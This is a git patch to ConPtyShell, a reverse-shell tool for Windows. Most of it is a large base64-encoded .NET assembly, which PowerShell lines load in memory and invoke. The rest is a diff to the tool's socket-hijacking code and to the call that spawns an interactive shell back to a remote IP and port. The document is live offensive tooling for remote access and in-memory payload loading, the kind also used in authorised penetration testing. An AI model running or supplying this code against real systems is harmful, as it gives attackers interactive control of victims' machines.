4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
$ConPtyShellBytes = [System.Convert]::FromBase64String($ConPtyShellBase64)
[Reflection.Assembly]::Load($ConPtyShellBytes) | Out-Null
$output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell)
From 0dd0d4d9146d0f267f16d015ab30ae570fbecc29 Mon Sep 17 00:00:00 2001
From: antonioCoco
Date: Tue, 2 Mar 2021 16:35:20 +0100
Subject: [PATCH 3/5] fixed a bug in checking socket inheritance
---
ConPtyShell.cs | 4 +++-
Invoke-ConPtyShell.ps1 | 5 +++--
Invoke-ConPtyShell2.ps1 | 2 +-
3 files changed, 7 insertions(+), 4 deletions(-)
diff --git a/ConPtyShell.cs b/ConPtyShell.cs
index 16dab1d..0d6c05b 100644
--- a/ConPtyShell.cs
+++ b/ConPtyShell.cs
@@ -340,7 +340,7 @@ public static IntPtr GetSocketTargetProcess(Process targetProcess)
CloseHandle(parentSocketHandle);
return false;
}
- if(getpeername(socketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){
+ if(getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){
Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString());
CloseHandle(parentSocketHandle);
return false;
@@ -375,6 +375,7 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess)
Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString());
return dupSocketHandle;
}
+ //Console.WriteLine("WSASocket success handlex 0x" + dupSocketHandle.ToString("X4"));
}
return dupSocketHandle;
}
@@ -1080,6 +1081,7 @@ private static void DisplayHelp()
uint rows = ParseRows(args);
uint cols = ParseCols(args);
string commandLine = ParseCommandLine(args);
+ upgradeShell = true;
output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell);
}
return output;
diff --git a/Invoke-ConPtyShell.ps1 b/Invoke-ConPtyShell.ps1
index 18c0a93..32a6a5d 100644
--- a/Invoke-ConPtyShell.ps1
+++ b/Invoke-ConPtyShell.ps1
@@ -458,7 +458,7 @@ public static class SocketHijacking{
CloseHandle(parentSocketHandle);
return false;
}
- if(getpeername(socketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){
+ if(getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){
Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString());
CloseHandle(parentSocketHandle);
return false;
@@ -493,6 +493,7 @@ public static class SocketHijacking{
Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString());
return dupSocketHandle;
}
+ //Console.WriteLine("WSASocket success handlex 0x" + dupSocketHandle.ToString("X4"));
}
return dupSocketHandle;
}
@@ -1149,6 +1150,7 @@ public static class ConPtyShellMainClass{
uint rows = ParseRows(args);
uint cols = ParseCols(args);
string commandLine = ParseCommandLine(args);
+ upgradeShell = true;
output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell);
}
return output;
@@ -1162,5 +1164,4 @@ class MainClass{
Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args));
}
}
-
"@;
\ No newline at end of file
diff --git a/Invoke-ConPtyShell2.ps1 b/Invoke-ConPtyShell2.ps1
index 1ac7d8c..bd9fbf0 100644
--- a/Invoke-ConPtyShell2.ps1
+++ b/Invoke-ConPtyShell2.ps1
@@ -111,7 +111,7 @@ function Invoke-ConPtyShell2
}
$parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine)
- $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABSePWAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA